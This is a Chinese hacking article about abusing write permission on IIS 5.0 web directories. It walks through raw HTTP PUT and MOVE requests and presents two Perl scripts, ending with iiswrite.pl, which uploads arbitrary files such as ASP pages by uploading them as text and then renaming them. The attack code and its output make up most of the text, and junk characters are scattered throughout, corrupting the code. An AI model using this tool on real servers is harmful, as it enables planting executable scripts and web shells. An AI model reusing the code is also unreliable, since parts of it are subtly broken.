对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

. o7 ?" } n2 J' P1 Y3 T' y

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

0 W4 M( H3 }6 z$ G

写权限

, A3 B- P! Y: d

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

0 {) B9 o2 J* |9 v" b2 PPUT /dir/my_file.txt HTTP/1.1 Host: iis-server $ H/ c3 |% s& c6 V8 x( I6 d- `/ z9 t4 JContent-Length: 10

4 N7 J" o. H+ d3 a, `; ]) m

　　这时服务器会返回一个100( 继续)的信息：

{+ h% g% l, o# j; _

0 o# K0 ^" [) I2 P* \HTTP/1.1 100 Continue & B3 \3 C P* _$ CServer: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

, T0 j; y4 }/ KHTTP/1.1 201 Created , o( B5 K3 V; c& C. k; \Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt Content-Length: 0 $ T9 `# v# s9 K- wAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, ' g! a6 F. v5 p1 X6 `% b, ?/ hPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

2 U" C" }, y# k" K. s: r

　　这里简单说明下：

) m/ o" n# v8 t" @ PPUT /dir/my_file.txt HTTP/1.1 # q% }" D. w4 `7 _( G1 l2 iHost: iis-server Content-Length: 10

$ L& d9 ?+ g: m# }) E

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 - h; Z" R9 N. c" L e　　Host：是HTTP请求的发送地址 # ~1 E$ L7 l2 p; Q: N" E1 @　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

& Z* Y# r! i$ G5 L' K) ~

#!/usr/bin/perl use I:Socket; % V- B( [, M' R9 P5 V2 u6 i+ Z6 Z$ARGC = @ARGV;

/ L: h' `2 G2 [

if ($ARGC != 4) { 7 M5 j3 b& R$ H　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 0 L F* r8 n% ^ d4 g0 q. [　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

; Y# i) Y2 `3 g+ y; D5 o8 M

@s=stat("$file"); ) l5 F9 \0 d, F. K$size = $s[7]; #得到文件大小 5 m" J: M8 M6 I% `) w" ]/ zprint "$file size is $size bytes\n";

- B0 \; C& d5 ^, p5 }; s

my $sock = I:Socket::INET->new(Proto =>"tcp", 4 C6 ?& e: z+ R. R5 A- ?: jPeerAddr =>$host, ) [; A* z6 y' \" K/ A& RPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; ( V8 \" Y4 B6 f C) \print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; / c3 q% S/ \3 }4 H% M2 Eprint $sock "Content-Length: $size\n\n"; #sock连接

! z. d$ ?/ b4 a* t" r

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

! ` Z. P4 T: G8 a. k& X

while (read(FILE,$char,1024)) { #读取文件数据上传 " ^; ^4 C1 g* c$ \7 R/ d　　print $sock "$char"; } & Q8 e. b; p# V- I: M) t( Y. Y& P$ U& pprint $sock "\n\n"; , g) A0 H/ c, T, G@req = <$sock>; print "please wait...\n"; # K- ]5 l. ^8 Isleep(2); 4 t% m# ]( c: E- Y& a' a9 lif ($req[4]=~/200|201/){ 7 C: Q# D1 P" v. |! ^; [1 S/ p3 ]　　print "upfile Succeed!!!" ; #成功显示 } / E1 x) J" k2 S* Uelse{ 　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 j; D& m# A, J- c, P4 [7 z} ) N" F* p+ w- ?3 ~" f; |& a) G% Dclose $sock; # `2 w. O. Z# ^! p" y) zclose FILE;

　　下面我们测试下：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 8 q" f4 Z+ U: m- b3 Mkaka.txt size is 14 bytes please wait... ) C( L, S1 ]5 B9 s1 o6 hupfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 8 G. r; K+ e8 p1 B1 s0 b- U3 S' L驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 ]. h( Y, `; E) H+ ^0 m1 个文件 14 字节 0 C; o5 |. S9 |4 V/ t3 a2 h$ u0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

; L# j& j$ G B

2 z+ A; S; R: h

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe : } \) ?5 Z# ?5 c: ]perl.exe size is 20535 bytes 4 C! P# g# z) i- `/ R" aplease wait... % |' F, l+ I- Zupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe , k" g( ]+ }7 Y/ _, ]8 |- P驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

0 ?7 V( L0 U, Y4 N, M

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

! D, V+ l) t3 U7 a

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

& |' d3 W, T o& B

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp ; @: G5 ^) L+ C; G5 U6 H5 |" |6 Q5 vkaka.asp size is 4 bytes please wait... N: T+ b8 U7 ?0 J& O2 G2 Wupfile faile!!!

9 t" z; n5 ?* y; ?8 x1 a. Z+ V

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 # b' Q5 S* O' e( t8 m% nDate: Tue, 04 May 2004 16:45:51 GMT

+ C" r W. J# x3 s

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT / L9 p, _& ] K: Q5 b' AConnection: close Content-Type: text/html Content-Length: 44

4 S6 [% B3 _# t& y) C7 ]

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

& ~6 M" K) k. B1 ?, W$ I: v, V

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

" l# J6 v& H( j9 [- b

* m% p( q' d& Q# I. h2 i. G

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 : B5 z$ k0 W' [! ?Date: Sun, 05 Oct 2003 09:30:59 GMT ( ], f% C+ N* d3 F$ k$ bLocation: http://127.0.0.1/scripts/x.asp Content-Type: text/xml - u: j8 k6 r, F) l$ S9 \Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

1 X4 q3 ^& C0 w' W

& N2 w% K; E* u. J$ Y

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp 0 Y" s9 q, `4 M* }+ k6 _ J************************************************************ : g2 B3 Q0 q- e7 N% v% `* M9 Y dcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes 9 O' V# q4 {! B3 F- r' Hplease wait... 3 H7 @3 }# q% r: S5 V) q% Bupfile Succeed!!! Modifyfile Succeed!!!

# {, C: u( h: Q% @

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

* P7 X' s5 k1 A

% g' P$ G1 M f( i1 B 7 S- K9 d7 J; }8 t6 q/ W+ X

#!/usr/bin/perl 5 V3 [3 w+ \" k5 w& j/ J. r9 V#The iiswrite Script

1 j- N7 v, o, }; }# E

use I:Socket; $ARGC = @ARGV; print "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; $ z o% A# [. y7 `1 J9 {" P, S3 Lprint "*" x 60,"\n"; * p* e& l! W# l+ b( u2 D& e) jif ($ARGC != 4) { 3 j) I# B* A' u# J" b2 o1 ?: t　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; 3 S/ \8 f# D9 V! k* u5 ^$port = @ARGV[1]; $path = @ARGV[3]; $file = @ARGV[2];

* U: v) _9 D1 ~

@path=split("/",$path); $any = pop(@path); $path1=join("/",@path); @s=stat("$file"); 8 E5 C& m, G# t* t. E" M, {$size = $s[7];

print "$file size is $size bytes\n"; $ {) K9 i2 B" z$ w7 n9 X* mmy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 1 D8 n5 x& \( Mprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; / `7 V+ O5 k s# n, Uprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; * o1 q7 ^9 I3 g. Jopen(FILE,"$file")|| die "Can't open $file"; ' N, V0 u8 D( Ybinmode(FILE); ( D; @0 O$ p" Q7 i" v1 _while (read(FILE,$char,1024)) { " L9 G& U! C9 A- h　　print $sock "$char"; ! N) o# N# `, K4 h} 1 A6 n! Z, t1 j7 i. V8 r0 U; U+ eprint $sock "\n\n"; @req = <$sock>; print "please wait...\n"; * n; U+ t7 L0 ]! p% vsleep(2); if ($req[4]=~/200|201/){ * C1 H8 o# B8 g6 s# O7 U4 z0 P　　print "upfile Succeed!!!\n" ; 0 y6 T1 D i, _& f} ; I; g" S1 Y' S1 G; Pelse{ 　　print "upfile faile!!!\n"; } close $sock; . x0 a+ Q8 R4 p. _. aclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", 9 l) O+ q+ U9 J h) D9 V# y2 O; WPeerAddr =>$host, 4 g+ f* A# o$ z% B; ?. C |PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; ( S# b- Y4 e" R@req = <$sock>; 8 E7 w: Z' O0 Gif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; } else{ ; |- E* J% u: G1 y# Z( g　　print "upfile faile!!!"; * M* f6 [& V9 m% ^. U0 G( I4 d1 ]} & c/ U3 i0 ?- d, E% z& w! tclose $sock